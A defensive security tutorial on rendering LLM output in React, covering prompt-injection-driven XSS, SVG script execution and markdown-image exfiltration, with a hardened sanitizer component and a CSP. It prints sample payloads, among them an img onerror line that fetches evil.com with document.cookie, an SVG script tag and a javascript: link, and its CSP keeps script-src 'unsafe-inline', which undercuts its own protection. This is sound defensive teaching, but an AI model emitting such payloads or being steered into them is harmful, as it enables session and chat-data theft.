Output Handling: Markdown Injection, Malicious SVG, and Script Execution
Prerequisites: Direct and Indirect Prompt Injections.
Key Takeaway: Sanitizing what goes into a model is only half the battle. Because LLMs are non-deterministic and susceptible to prompt injection, you must treat all model output as untrusted third-party user content. Rendering model markdown withdangerouslySetInnerHTMLinvites Cross-Site Scripting (XSS), SVG script execution, and silent conversation exfiltration.
The Myth of "Safe" Model Output
Many frontend developers operate under a dangerous assumption: "I wrote the system prompt, so the text coming back from OpenAI or Anthropic is safe."
In reality, if an attacker succeeds in an indirect prompt injection, they control what the model generates. If your React application naively renders the stream, the model becomes the attacker's weapon:
<!-- Malicious payload emitted by compromised model -->
<img src="invalid" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">If you render this via dangerouslySetInnerHTML, the malicious JavaScript executes in the context of the user's logged-in session, stealing session tokens, local storage secrets, and CSRF nonces.
graph TD
AttackerDoc["Adversarial Document"] --> Injection["Prompt Injection Hijacks LLM"]
Injection --> MaliciousOutput["Model Outputs Malicious Markdown / HTML / SVG"]
subgraph "Vulnerable Frontend"
MaliciousOutput --> DangerouslySet["dangerouslySetInnerHTML(modelText)"]
DangerouslySet --> XSS["❌ XSS Execution (Cookies & Auth Tokens Stolen)"]
end
subgraph "Hardened Frontend"
MaliciousOutput --> AST["1. AST Markdown Parser (Unified / Remark)"]
AST --> Sanitize["2. Strict Schema Sanitization (rehype-sanitize)"]
Sanitize --> CSP["3. Browser Content Security Policy (CSP)"]
CSP --> SafeRender["✅ Clean, Verified React Virtual DOM"]
endThe Three Silent Output Attack Vectors
1. Direct Script & Event Handler Injection
Attackers prompt the model to emit raw HTML tags (<script>, <iframe>, <object>) or inline event handlers (<img onerror="...">, <svg onload="...">). If raw HTML parsing is enabled in your markdown library, the browser executes the script immediately upon DOM insertion.
2. The Malicious SVG Trap
SVGs are not static image files; they are XML documents that can contain executable <script> tags:
<!-- Embedded inside model markdown -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>Rendering an SVG directly inside an application without stripping <script> executes arbitrary code.
3. Image Markdown Exfiltration (Zero-JavaScript Leakage)
Even if your application completely disables JavaScript execution, attackers can steal conversation history using pure Markdown:
When the browser parses standard markdown ![](), it automatically issues an HTTP GET request to the target URL to display the image. The sensitive query parameter is transmitted directly into the attacker's server access logs without running a single line of JavaScript.
Hardening the Markdown Pipeline with Unified, Remark, and Rehype
To render streaming model markdown safely in React, you must use an Abstract Syntax Tree (AST) pipeline that compiles markdown to syntax nodes, sanitizes the tree against an allowlist, and generates React elements without touching raw HTML strings:
graph LR
Markdown["Raw Model Markdown"] --> Remark["1. remark-parse (Markdown -> mdast)"]
Remark --> RemarkRehype["2. remark-rehype (mdast -> hast)"]
RemarkRehype --> Sanitize["3. rehype-sanitize (Strict Allowlist)"]
Sanitize --> ReactDom["4. rehype-react (hast -> Verified React Nodes)"]Concrete TypeScript Implementation: The Secure Markdown Renderer
// components/ai/SecureMarkdownMessage.tsx
"use client";
import React, { useMemo } from "react";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import rehypeSanitize, { defaultSchema } from "rehype-sanitize";
// Customize sanitization schema: Strictly allow safe HTML tags only
const customSanitizeSchema = {
...defaultSchema,
tagNames: [
"p", "span", "div", "strong", "em", "b", "i", "code", "pre",
"ul", "ol", "li", "table", "thead", "tbody", "tr", "th", "td",
"blockquote", "h1", "h2", "h3", "h4", "h5", "h6", "hr", "br",
],
attributes: {
...defaultSchema.attributes,
// Strictly disallow all 'on*' event handlers and style attributes
"*": ["className"],
a: ["href", "title", "target", "rel"],
code: ["className"],
},
// Strictly enforce safe protocols for links
protocols: {
href: ["http", "https", "mailto"],
},
};
interface SecureMarkdownProps {
content: string;
}
export function SecureMarkdownMessage({ content }: SecureMarkdownProps) {
// Custom link renderer forcing security attributes
const components = useMemo(() => ({
a: ({ node, href, children, ...props }: any) => {
// Defend against javascript: URLs
if (href?.startsWith("javascript:") || href?.startsWith("data:")) {
return <span className="text-rose-400 font-mono text-xs">[Blocked Unsafe Link]</span>;
}
return (
<a
href={href}
target="_blank"
rel="noopener noreferrer nofollow"
className="text-teal-400 underline hover:text-teal-300 transition-colors"
{...props}
>
{children}
</a>
);
},
// Strictly disallow raw images to prevent exfiltration
img: () => <span className="text-slate-500 italic text-xs">[Images disabled for security]</span>,
}), []);
return (
<div className="prose prose-invert max-w-none text-sm leading-relaxed">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[[rehypeSanitize, customSanitizeSchema]]}
components={components}
>
{content}
</ReactMarkdown>
</div>
);
}The Last Line of Defense: Content Security Policy (CSP)
Even if an engineer accidentally introduces a vulnerability in a custom component, a strict Content Security Policy (CSP) blocks the attack at the browser engine level:
// next.config.ts (or middleware.ts)
const cspHeader = `
default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://trusted-cdn.yourapp.com;
connect-src 'self' https://api.openai.com https://api.anthropic.com;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
block-all-mixed-content;
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim();Why This CSP Neutralizes Attacks:
object-src 'none': Completely disables Flash, Java applets, and legacy plugin exploits.img-src 'self' https://trusted-cdn.yourapp.com: Blocks image exfiltration attacks attempting to send data toattacker.com.connect-src 'self': Prevents rogue JavaScript from openingfetch()orWebSocketconnections to external exfiltration endpoints.
Common Pitfalls & Anti-Patterns
- Using Regular Expressions to Sanitize HTML: Regexes cannot parse recursive, malformed HTML. Attackers bypass regex filters with nested tags (
<<SCRIPT>script>), null bytes, and unicode obfuscation. Always use an AST parser with DOMPurify orrehype-sanitize. - Permitting
javascript:Link Protocols: If an attacker prompts the model to emit[Click here](javascript:alert(1)), and your sanitizer does not enforceprotocols: { href: ['http', 'https'] }, clicking the link executes JavaScript. - Leaving
img-src *in Production CSP: A wildcard on image sources allows any markdown image to silently exfiltrate session data to arbitrary external domains.
Senior Engineer Interview Angle
Staff Engineer Question: "How can an attacker exfiltrate a user's confidential chat session without executing any JavaScript on the page, and how do you prevent it?"
Exemplary Answer:
*"Through Markdown Image Injection Exfiltration.
If an attacker injects a command like:

when the markdown renderer converts this to an<img>tag, the browser automatically executes an HTTP GET request to fetch the image. The user's confidential data is appended directly to the URL query string and saved in the attacker's web server logs—with zero JavaScript executed.
We neutralize this through two independent layers:
- In our markdown AST component, we replace the
imgelement renderer to reject unauthorized image URLs or disable inline images entirely.- In our HTTP response headers, we enforce a strict Content Security Policy with
img-src 'self' https://assets.ourcompany.com. Even if an image tag is rendered, the browser engine blocks the network request to the attacker's domain."*
Quick Self-Check
- Why is
dangerouslySetInnerHTMLon model output an existential security flaw? - How does an attacker exfiltrate data using pure markdown with zero JavaScript?
- What specific Content Security Policy directive blocks image exfiltration?